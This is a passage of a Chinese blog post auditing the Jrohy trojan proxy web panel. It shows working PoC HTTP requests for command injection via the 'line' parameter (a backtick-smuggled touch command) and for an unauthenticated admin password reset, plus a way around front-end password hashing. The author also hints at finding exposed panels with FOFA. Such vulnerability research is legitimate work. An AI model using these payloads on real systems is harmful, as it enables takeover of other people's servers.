		<span class=nx>tType</span> <span class=o>:=</span> <span class=nx>c</span><span class=p>.</span><span class=nf>DefaultPostForm</span><span class=p>(</span><span class=s>"type"</span><span class=p>,</span> <span class=s>"trojan"</span><span class=p>)</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>SetTrojanType</span><span class=p>(</span><span class=nx>tType</span><span class=p>))</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/loglevel"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>slevel</span> <span class=o>:=</span> <span class=nx>c</span><span class=p>.</span><span class=nf>DefaultPostForm</span><span class=p>(</span><span class=s>"level"</span><span class=p>,</span> <span class=s>"1"</span><span class=p>)</span>
		<span class=nx>level</span><span class=p>,</span> <span class=nx>_</span> <span class=o>:=</span> <span class=nx>strconv</span><span class=p>.</span><span class=nf>Atoi</span><span class=p>(</span><span class=nx>slevel</span><span class=p>)</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>SetLogLevel</span><span class=p>(</span><span class=nx>level</span><span class=p>))</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/trojan/domain"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>SetDomain</span><span class=p>(</span><span class=nx>c</span><span class=p>.</span><span class=nf>PostForm</span><span class=p>(</span><span class=s>"domain"</span><span class=p>)))</span>
	<span class=p>})</span>
	<span class=nx>router</span><span class=p>.</span><span class=nf>GET</span><span class=p>(</span><span class=s>"/trojan/log"</span><span class=p>,</span> <span class=kd>func</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
		<span class=nx>controller</span><span class=p>.</span><span class=nf>Log</span><span class=p>(</span><span class=nx>c</span><span class=p>)</span>
	<span class=p>})</span>
<span class=p>}</span>
</code></pre></table>
</div>
</div><p>其中/trojan/log路径调用controller.Log(c),传递参数c</p>
<p>跟进 Log方法，到 web/controller/trojan.go</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span><span class=lnt>25
</span><span class=lnt>26
</span><span class=lnt>27
</span><span class=lnt>28
</span><span class=lnt>29
</span><span class=lnt>30
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=c1>// Log 通过ws查看trojan实时日志
</span><span class=c1></span><span class=kd>func</span> <span class=nf>Log</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
	<span class=kd>var</span> <span class=p>(</span>
		<span class=nx>wsConn</span> <span class=o>*</span><span class=nx>websocket</span><span class=p>.</span><span class=nx>WsConnection</span>
		<span class=nx>err</span>    <span class=kt>error</span>
	<span class=p>)</span>
	<span class=k>if</span> <span class=nx>wsConn</span><span class=p>,</span> <span class=nx>err</span> <span class=p>=</span> <span class=nx>websocket</span><span class=p>.</span><span class=nf>InitWebsocket</span><span class=p>(</span><span class=nx>c</span><span class=p>.</span><span class=nx>Writer</span><span class=p>,</span> <span class=nx>c</span><span class=p>.</span><span class=nx>Request</span><span class=p>);</span> <span class=nx>err</span> <span class=o>!=</span> <span class=kc>nil</span> <span class=p>{</span>
		<span class=nx>fmt</span><span class=p>.</span><span class=nf>Println</span><span class=p>(</span><span class=nx>err</span><span class=p>)</span>
		<span class=k>return</span>
	<span class=p>}</span>
	<span class=k>defer</span> <span class=nx>wsConn</span><span class=p>.</span><span class=nf>WsClose</span><span class=p>()</span>
	<span class=nx>param</span> <span class=o>:=</span> <span class=nx>c</span><span class=p>.</span><span class=nf>DefaultQuery</span><span class=p>(</span><span class=s>"line"</span><span class=p>,</span> <span class=s>"300"</span><span class=p>)</span>
	<span class=k>if</span> <span class=nx>param</span> <span class=o>==</span> <span class=s>"-1"</span> <span class=p>{</span>
		<span class=nx>param</span> <span class=p>=</span> <span class=s>"--no-tail"</span>
	<span class=p>}</span> <span class=k>else</span> <span class=p>{</span>
		<span class=nx>param</span> <span class=p>=</span> <span class=s>"-n "</span> <span class=o>+</span> <span class=nx>param</span>
	<span class=p>}</span>
	<span class=nx>result</span><span class=p>,</span> <span class=nx>err</span> <span class=o>:=</span> <span class=nx>websocket</span><span class=p>.</span><span class=nf>LogChan</span><span class=p>(</span><span class=s>"trojan"</span><span class=p>,</span> <span class=nx>param</span><span class=p>,</span> <span class=nx>wsConn</span><span class=p>.</span><span class=nx>CloseChan</span><span class=p>)</span>
	<span class=k>if</span> <span class=nx>err</span> <span class=o>!=</span> <span class=kc>nil</span> <span class=p>{</span>
		<span class=nx>fmt</span><span class=p>.</span><span class=nf>Println</span><span class=p>(</span><span class=nx>err</span><span class=p>)</span>
		<span class=nx>wsConn</span><span class=p>.</span><span class=nf>WsClose</span><span class=p>()</span>
		<span class=k>return</span>
	<span class=p>}</span>
	<span class=k>for</span> <span class=nx>line</span> <span class=o>:=</span> <span class=k>range</span> <span class=nx>result</span> <span class=p>{</span>
		<span class=k>if</span> <span class=nx>err</span> <span class=o>:=</span> <span class=nx>wsConn</span><span class=p>.</span><span class=nf>WsWrite</span><span class=p>(</span><span class=nx>ws</span><span class=p>.</span><span class=nx>TextMessage</span><span class=p>,</span> <span class=p>[]</span><span class=nb>byte</span><span class=p>(</span><span class=nx>line</span><span class=o>+</span><span class=s>"\n"</span><span class=p>));</span> <span class=nx>err</span> <span class=o>!=</span> <span class=kc>nil</span> <span class=p>{</span>
			<span class=nx>log</span><span class=p>.</span><span class=nf>Println</span><span class=p>(</span><span class=s>"can't send: "</span><span class=p>,</span> <span class=nx>line</span><span class=p>)</span>
			<span class=k>break</span>
		<span class=p>}</span>
	<span class=p>}</span>
<span class=p>}</span>
</code></pre></table>
</div>
</div><p>可以看到param无过滤，直接被传给了LogChan</p>
<p>poc</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=nx>GET</span> <span class=o>/</span><span class=nx>trojan</span><span class=o>/</span><span class=nx>log</span><span class=err>?</span><span class=nx>line</span><span class=p>=</span><span class=mi>300</span><span class=s>`touch%20/tmp/success`</span><span class=o>&amp;</span><span class=nx>token</span><span class=p>=</span><span class=nx>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class=p>.</span><span class=nx>eyJleHAiOjE2NjQxNzkzNDcsImlkIjoiYWRtaW4iLCJvcmlnX2lhdCI6MTY2NDE3MjE0N30</span><span class=p>.</span><span class=nx>iuFiunMc5kx8q4_2CZzAnGQPLjpSK0BW_1X6_bRdP04</span> <span class=nx>HTTP</span><span class=o>/</span><span class=mf>1.1</span>
<span class=nx>Host</span><span class=p>:</span> <span class=nx>xxx</span><span class=p>.</span><span class=nx>xxx</span><span class=p>.</span><span class=nx>com</span>
<span class=nx>Connection</span><span class=p>:</span> <span class=nx>Upgrade</span>
<span class=nx>Pragma</span><span class=p>:</span> <span class=nx>no</span><span class=o>-</span><span class=nx>cache</span>
<span class=nx>Cache</span><span class=o>-</span><span class=nx>Control</span><span class=p>:</span> <span class=nx>no</span><span class=o>-</span><span class=nx>cache</span>
<span class=nx>User</span><span class=o>-</span><span class=nx>Agent</span><span class=p>:</span> <span class=nx>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=nx>Windows</span> <span class=nx>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=nx>Win64</span><span class=p>;</span> <span class=nx>x64</span><span class=p>)</span> <span class=nx>AppleWebKit</span><span class=o>/</span><span class=mf>537.36</span> <span class=p>(</span><span class=nx>KHTML</span><span class=p>,</span> <span class=nx>like</span> <span class=nx>Gecko</span><span class=p>)</span> <span class=nx>Chrome</span><span class=o>/</span><span class=mf>105.0.5195.102</span> <span class=nx>Safari</span><span class=o>/</span><span class=mf>537.36</span>
<span class=nx>Upgrade</span><span class=p>:</span> <span class=nx>websocket</span>
<span class=nx>Origin</span><span class=p>:</span> <span class=nx>http</span><span class=p>:</span><span class=c1>//xxx.xxx.com
</span><span class=c1></span><span class=nx>Sec</span><span class=o>-</span><span class=nx>WebSocket</span><span class=o>-</span><span class=nx>Version</span><span class=p>:</span> <span class=mi>13</span>
<span class=nx>Accept</span><span class=o>-</span><span class=nx>Encoding</span><span class=p>:</span> <span class=nx>gzip</span><span class=p>,</span> <span class=nx>deflate</span>
<span class=nx>Accept</span><span class=o>-</span><span class=nx>Language</span><span class=p>:</span> <span class=nx>zh</span><span class=o>-</span><span class=nx>CN</span><span class=p>,</span><span class=nx>zh</span><span class=p>;</span><span class=nx>q</span><span class=p>=</span><span class=mf>0.9</span>
<span class=nx>Cookie</span><span class=p>:</span> <span class=nx>jwt</span><span class=p>=</span><span class=nx>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class=p>.</span><span class=nx>eyJleHAiOjE2NjQxNzkzNDcsImlkIjoiYWRtaW4iLCJvcmlnX2lhdCI6MTY2NDE3MjE0N30</span><span class=p>.</span><span class=nx>iuFiunMc5kx8q4_2CZzAnGQPLjpSK0BW_1X6_bRdP04</span>
<span class=nx>Sec</span><span class=o>-</span><span class=nx>WebSocket</span><span class=o>-</span><span class=nx>Key</span><span class=p>:</span> <span class=nx>NUAPtgysa4gd5VMU6znU1g</span><span class=o>==</span>
</code></pre></table>
</div>
</div><p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%204.png data-fancybox=gallery data-caption><img src="" alt></a></p>
<hr>
<h2 id=前台管理员密码重置><a href=#%E5%89%8D%E5%8F%B0%E7%AE%A1%E7%90%86%E5%91%98%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>前台管理员密码重置</h2>
<p>在 web/auth.go <code>Auth</code> 方法</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=kd>func</span> <span class=nf>updateUser</span><span class=p>(</span><span class=nx>c</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Context</span><span class=p>)</span> <span class=p>{</span>
	<span class=nx>responseBody</span> <span class=o>:=</span> <span class=nx>controller</span><span class=p>.</span><span class=nx>ResponseBody</span><span class=p>{</span><span class=nx>Msg</span><span class=p>:</span> <span class=s>"success"</span><span class=p>}</span>
	<span class=k>defer</span> <span class=nx>controller</span><span class=p>.</span><span class=nf>TimeCost</span><span class=p>(</span><span class=nx>time</span><span class=p>.</span><span class=nf>Now</span><span class=p>(),</span> <span class=o>&amp;</span><span class=nx>responseBody</span><span class=p>)</span>
	<span class=nx>username</span> <span class=o>:=</span> <span class=nx>c</span><span class=p>.</span><span class=nf>DefaultPostForm</span><span class=p>(</span><span class=s>"username"</span><span class=p>,</span> <span class=s>"admin"</span><span class=p>)</span>
	<span class=nx>pass</span> <span class=o>:=</span> <span class=nx>c</span><span class=p>.</span><span class=nf>PostForm</span><span class=p>(</span><span class=s>"password"</span><span class=p>)</span>
	<span class=nx>err</span> <span class=o>:=</span> <span class=nx>core</span><span class=p>.</span><span class=nf>SetValue</span><span class=p>(</span><span class=nx>fmt</span><span class=p>.</span><span class=nf>Sprintf</span><span class=p>(</span><span class=s>"%s_pass"</span><span class=p>,</span> <span class=nx>username</span><span class=p>),</span> <span class=nx>pass</span><span class=p>)</span>
	<span class=k>if</span> <span class=nx>err</span> <span class=o>!=</span> <span class=kc>nil</span> <span class=p>{</span>
		<span class=nx>responseBody</span><span class=p>.</span><span class=nx>Msg</span> <span class=p>=</span> <span class=nx>err</span><span class=p>.</span><span class=nf>Error</span><span class=p>()</span>
	<span class=p>}</span>
	<span class=nx>c</span><span class=p>.</span><span class=nf>JSON</span><span class=p>(</span><span class=mi>200</span><span class=p>,</span> <span class=nx>responseBody</span><span class=p>)</span>
<span class=p>}</span>

<span class=c1>// Auth 权限router
</span><span class=c1></span><span class=kd>func</span> <span class=nf>Auth</span><span class=p>(</span><span class=nx>r</span> <span class=o>*</span><span class=nx>gin</span><span class=p>.</span><span class=nx>Engine</span><span class=p>,</span> <span class=nx>timeout</span> <span class=kt>int</span><span class=p>)</span> <span class=o>*</span><span class=nx>jwt</span><span class=p>.</span><span class=nx>GinJWTMiddleware</span> <span class=p>{</span>
	<span class=o>......</span>	
	<span class=nx>r</span><span class=p>.</span><span class=nf>POST</span><span class=p>(</span><span class=s>"/auth/register"</span><span class=p>,</span> <span class=nx>updateUser</span><span class=p>)</span>
	<span class=o>......</span>
<span class=p>}</span>
</code></pre></table>
</div>
</div><p>没有对注册方法做验证，这个是用于第一次打开应用时修改admin密码的，现在重复调用改接口可直接修改admin密码</p>
<p>poc</p>
<div class=highlight><div class="chroma language-go">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-go data-lang=go><span class=nx>POST</span> <span class=nx>http</span><span class=p>:</span><span class=c1>//xxx.xxx.com/auth/register HTTP/1.1
</span><span class=c1></span><span class=nx>Host</span><span class=p>:</span> <span class=nx>xxx</span><span class=p>.</span><span class=nx>xxx</span><span class=p>.</span><span class=nx>com</span>
<span class=nx>Content</span><span class=o>-</span><span class=nx>Length</span><span class=p>:</span> <span class=mi>195</span>
<span class=nx>User</span><span class=o>-</span><span class=nx>Agent</span><span class=p>:</span> <span class=nx>Mozilla</span><span class=o>/</span><span class=mf>5.0</span> <span class=p>(</span><span class=nx>Windows</span> <span class=nx>NT</span> <span class=mf>10.0</span><span class=p>;</span> <span class=nx>Win64</span><span class=p>;</span> <span class=nx>x64</span><span class=p>)</span> <span class=nx>AppleWebKit</span><span class=o>/</span><span class=mf>537.36</span> <span class=p>(</span><span class=nx>KHTML</span><span class=p>,</span> <span class=nx>like</span> <span class=nx>Gecko</span><span class=p>)</span> <span class=nx>Chrome</span><span class=o>/</span><span class=mf>105.0.5195.102</span> <span class=nx>Safari</span><span class=o>/</span><span class=mf>537.36</span>
<span class=nx>Content</span><span class=o>-</span><span class=nx>Type</span><span class=p>:</span> <span class=nx>multipart</span><span class=o>/</span><span class=nx>form</span><span class=o>-</span><span class=nx>data</span><span class=p>;</span> <span class=nx>boundary</span><span class=p>=</span><span class=o>----</span><span class=nx>WebKitFormBoundarymc8kPkyHhSLWSsTf</span>
<span class=nx>Connection</span><span class=p>:</span> <span class=nx>close</span>

<span class=o>------</span><span class=nx>WebKitFormBoundarymc8kPkyHhSLWSsTf</span>
<span class=nx>Content</span><span class=o>-</span><span class=nx>Disposition</span><span class=p>:</span> <span class=nx>form</span><span class=o>-</span><span class=nx>data</span><span class=p>;</span> <span class=nx>name</span><span class=p>=</span><span class=s>"password"</span>

<span class=nx>f8cdb04495ded47615258f9dc6a3f4707fd2405434fefc3cbf4ef4e6</span>
<span class=o>------</span><span class=nx>WebKitFormBoundarymc8kPkyHhSLWSsTf</span><span class=o>--</span>
</code></pre></table>
</div>
</div><p>直接 admin/123456 就可以登录了</p>
<p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%205.png data-fancybox=gallery data-caption><img src="" alt></a></p>
<p>fofa找找,大量的免费机场🥰</p>
<hr>
<h2 id=绕前端加密><a href=#%E7%BB%95%E5%89%8D%E7%AB%AF%E5%8A%A0%E5%AF%86 class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>绕前端加密</h2>
<p>抓下登录包</p>
<div class=highlight><div class="chroma language-fallback">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-fallback data-lang=fallback>POST http://xxx.xxx.com/auth/login HTTP/1.1
Host: xxx.xxx.com
Content-Length: 90
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9Connection: close

{"username":"admin","password":"e25388fde8290dc286a6164fa2d97e551b53498dcbf7bc378eb1f178"}
</code></pre></table>
</div>
</div><p>password字段被加密了,去前端找下</p>
<p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%206.png data-fancybox=gallery data-caption><img src="" alt></a></p>
<p>不出意外，控制台可调</p>
<div class=highlight><div class="chroma language-fallback">
<table class=lntable><tbody><tr><td class=lntd>
<pre class=chroma><code><span class=lnt>1
</span></code></pre></td>
<td class=lntd>
<pre class=chroma><code class=language-fallback data-lang=fallback>CryptoJS.SHA224("1").toString();
</code></pre></table>
</div>
</div><p><a class=fancybox href=https://r0fus0d.blog.ffffffff0x.com/img/trojan-case/Untitled%207.png data-fancybox=gallery data-caption><img src= alt></a></p>
<hr>
<h2 id=source--reference><a href=#source--reference class="headerlink anchor"><i class="iconfont icon-link sf-hidden"></i></a>Source &amp; Reference</h2>
<ul>
<li><a href=https://github.com/Jrohy/trojan/issues/703>https://github.com/Jrohy/trojan/issues/703</a></li>
<li><a href=https://github.com/Jrohy/trojan/issues/704>https://github.com/Jrohy/trojan/issues/704</a></li>
</ul>
 </div>
 <div class=post-copyright>
 <p class=copyright-item>
 <span class=item-title>文章作者</span>
 <span class=item-content>r0fus0d</span>
 </p>
 <p class=copyright-item>
 <span class=item-title>上次更新</span>
 <span class=item-content>
 2022-09-30
 
 </span>
 </p>
 
 
</div>
<footer class=post-footer>
 
 <nav class=post-nav>
 <a class=prev href=https://r0fus0d.blog.ffffffff0x.com/post/baota-case/>
 <i class="iconfont icon-left"></i>
 <span class="prev-text nav-default">宝塔 7.9.47 绕过手机号绑定</span>
 <span class="prev-text nav-mobile sf-hidden">上一篇</span>
 </a>
 <a class=next href=https://r0fus0d.blog.ffffffff0x.com/post/oem-case/>
 <span class="next-text nav-default">某oem产品审计学习</span>
 <span class="next-text nav-mobile sf-hidden">下一篇</span>
 <i class="iconfont icon-right"></i>
 </a>
 </nav>
 </footer>
 </article>
 </div>
 
 
 
 <div class=giscus><iframe class=giscus-frame title=Comments scrolling=no allow=clipboard-write sandbox="allow-popups allow-top-navigation-by-user-activation allow-scripts allow-modals allow-popups allow-downloads allow-pointer-lock allow-presentation" srcdoc="<!DOCTYPE html> <html dir=ltr lang=zh-CN><meta charset=utf-8><meta name=viewport content=&quot;width=device-width&quot;><title>giscus</title><meta name=next-head-count content=4><meta name=color-scheme content=&quot;light dark&quot;><style>*,:after,:before{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-rotate:0;--tw-skew-x:0;--tw-skew-y:0;--tw-scale-x:1;--tw-scale-y:1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness:proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#3b82f680;--tw-ring-offset-shadow:0 0#0000;--tw-ring-shadow:0 0#0000;--tw-shadow:0 0#0000;--tw-shadow-colored:0 0#0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }/*! tailwindcss v3.4.17 | MIT License | https://tailwindcss.com*/*,:after,:before{border:0 solid #e5e7eb;box-sizing:border-box}:after,:before{--tw-content:&quot;&quot;}:host,html{line-height:1.5;-webkit-text-size-adjust:100%;font-family:ui-sans-serif,system-ui,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-feature-settings:normal;font-variation-settings:normal;tab-size:4;-webkit-tap-highlight-color:transparent}body{line-height:inherit;margin:0}h4{font-size:inherit}a{text-decoration:inherit}button,textarea{color:inherit;font-family:inherit;font-feature-settings:inherit;font-size:100%;font-variation-settings:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin:0;padding:0}button{text-transform:none}button{-webkit-appearance:button;background-color:initial;background-image:none}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}h4{margin:0}textarea{resize:vertical}input::placeholder,textarea::placeholder{color:#9ca3af;opacity:1}button{cursor:pointer}:disabled{cursor:default}#__next .flex{display:flex}#__next .inline-flex{display:inline-flex}#__next .w-full{width:100%}#__next .flex-auto{flex:1 1 auto}@keyframes spin{to{transform:rotate(1turn)}}#__next .items-center{align-items:center}#__next .justify-center{justify-content:center}#__next .gap-2{gap:.5rem}#__next .text-sm{font-size:.875rem;line-height:1.25rem}#__next .m-2{margin:.5rem}#__next .mx-2{margin-inline-end:.5rem;margin-inline-start:.5rem}#__next .mx-auto{margin-inline-end:auto;margin-inline-start:auto}#__next .my-2{margin-bottom:.5rem;margin-top:.5rem}#__next .mb-\[-1px\]{margin-bottom:-1px}#__next .ml-1{margin-inline-start:.25rem}#__next .mr-1{margin-inline-end:.25rem}#__next .mr-2{margin-inline-end:.5rem}#__next .mt-2{margin-top:.5rem}#__next .rounded-md{border-radius:.375rem}#__next .rounded-t{border-start-end-radius:.25rem;border-start-start-radius:.25rem}#__next .border{border-width:1px}#__next .border-b-0{border-bottom-width:0}#__next .border-t{border-top-width:1px}#__next .border-transparent{border-color:#0000}#__next .px-4{padding-inline-end:1rem;padding-inline-start:1rem}#__next .py-2{padding-bottom:.5rem;padding-top:.5rem}#__next .hover\:no-underline:hover{text-decoration-line:none}@media (min-width:640px){}/*! This file contains adapted styles from the Primer CSS
 * design system, original styles licensed under:
 * MIT License
 * Copyright (c) 2021 GitHub Inc.
 * https://github.com/primer/css/blob/main/LICENSE
 */*{border-color:var(--color-border-default,var(--color-border-primary));scroll-margin-top:6rem}:host,html{--font-family-sans:-apple-system,&quot;BlinkMacSystemFont&quot;,&quot;Segoe UI&quot;,&quot;Helvetica&quot;,&quot;Arial&quot;,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;--font-family-monospace:ui-monospace,&quot;SFMono-Regular&quot;,&quot;Menlo&quot;,&quot;Monaco&quot;,&quot;Consolas&quot;,&quot;Liberation Mono&quot;,&quot;Courier New&quot;,monospace;--font-family-default:var(--font-family-sans);font-family:var(--font-family-default)}[role=button]:focus-visible,a:focus-visible,button:focus-visible,input[type=checkbox]:focus-visible,input[type=radio]:focus-visible{box-shadow:none;outline:2px solid var(--color-accent-fg,var(--color-text-link));outline-offset:-2px}@media screen and (width<=320px){html{font-size:5vw}}.link-secondary{text-decoration-line:underline}.color-bg-primary{background-color:var(--color-canvas-default,var(--color-bg-primary))}.color-bg-tertiary{background-color:var(--color-canvas-subtle,var(--color-bg-tertiary))}.color-bg-canvas{background-color:var(--color-canvas-default,var(--color-bg-canvas))}.color-bg-overlay{background-color:var(--color-canvas-overlay,var(--color-bg-overlay))}.color-text-primary{color:var(--color-fg-default,var(--color-text-primary))}.color-text-secondary,.link-secondary{color:var(--color-fg-muted,var(--color-text-secondary))}.color-text-link,.link-secondary:hover{color:var(--color-accent-fg,var(--color-text-link))}.color-border-primary{border-color:var(--color-border-default,var(--color-border-primary))}.form-control{border-color:var(--color-border-default,var(--color-input-border));vertical-align:middle}.form-control:focus{border-color:var(--color-accent-fg,var(--color-text-link));box-shadow:0 0 0 2px var(--color-accent-fg,var(--color-text-link));outline:none}@supports (-webkit-touch-callout:none){.form-control,.form-select{font-size:1rem;line-height:1.5rem}@media (min-width:768px){.form-control,.form-select{font-size:.875rem;line-height:1.25rem}}}.input-contrast{background-color:var(--color-canvas-inset,var(--color-input-contrast-bg))}.input-contrast:focus{background-color:var(--color-canvas-default,var(--color-input-bg))}.btn{cursor:pointer;font-size:.875rem;line-height:1.25rem;padding-inline-end:1rem;padding-bottom:5px;padding-inline-start:1rem;padding-top:5px;position:relative;transition:.2s cubic-bezier(.3,0,.5,1);transition-delay:0s;transition-property:color,background-color,border-color;white-space:nowrap}.btn{vertical-align:middle}.btn:hover{background-color:var(--color-btn-hover-bg);border-color:var(--color-btn-hover-border);transition-duration:.1s}.btn:active{background-color:var(--color-btn-active-bg);border-color:var(--color-btn-active-border);outline:2px solid #0000;outline-offset:2px;transition-property:none}.btn-primary{background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow);color:var(--color-btn-primary-text)}.btn-primary:hover{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:active{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled{background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border);color:var(--color-btn-primary-disabled-text)}.octicon{display:inline-block;overflow:visible;fill:currentColor}/*! Compatibility shim for @primer/css to style GitHub-generated HTML */.btn:not(.btn-primary) .octicon:not(.color-text-success){color:var(--color-fg-muted,var(--color-text-tertiary))}/*! giscus-specific styles */.gsc-emoji-button:focus .gsc-emoji,.gsc-emoji-button:hover .gsc-emoji{display:inline-block;transform:scaleX(1.5) scaleY(1.5);transition-duration:.15s;transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1)}.gsc-main{display:flex;flex-direction:column;gap:2rem;width:100%}.gsc-reactions{display:flex;flex:1 1 auto;flex-direction:column;justify-content:center}.gsc-reactions-count{font-weight:600;text-align:center}.gsc-comments{display:flex;flex-direction:column;gap:1.5rem}.gsc-header,.gsc-left-header{align-items:center;display:flex;flex:1 1 auto;gap:.5rem}.gsc-left-header{flex-wrap:wrap;white-space:nowrap}.gsc-comments-count{font-weight:600}.gsc-comment-box{font-size:.875rem;line-height:1.25rem;width:100%}.gsc-comment-box:not(.gsc-comment-box-is-reply){border-radius:.25rem;border-width:1px}.gsc-comment-box-tabs{align-items:center;border-bottom-width:1px;border-start-end-radius:.25rem;border-start-start-radius:.25rem;display:flex;justify-content:space-between}.gsc-comment-box-md-toolbar{align-items:center;display:inline-flex;margin-inline-end:.5rem;margin-inline-start:.5rem;margin-top:.5rem}.gsc-toolbar-item{color:var(--color-fg-muted,var(--color-text-secondary));padding:.25rem}.gsc-toolbar-item:focus,.gsc-toolbar-item:hover{color:var(--color-accent-fg,var(--color-text-link))}.gsc-comment-box-main{margin:.5rem}.gsc-comment-box-write{border-radius:.25rem}.gsc-comment-box-write:focus-within{border-color:var(--color-accent-fg,var(--color-text-link));box-shadow:0 0 0 2px 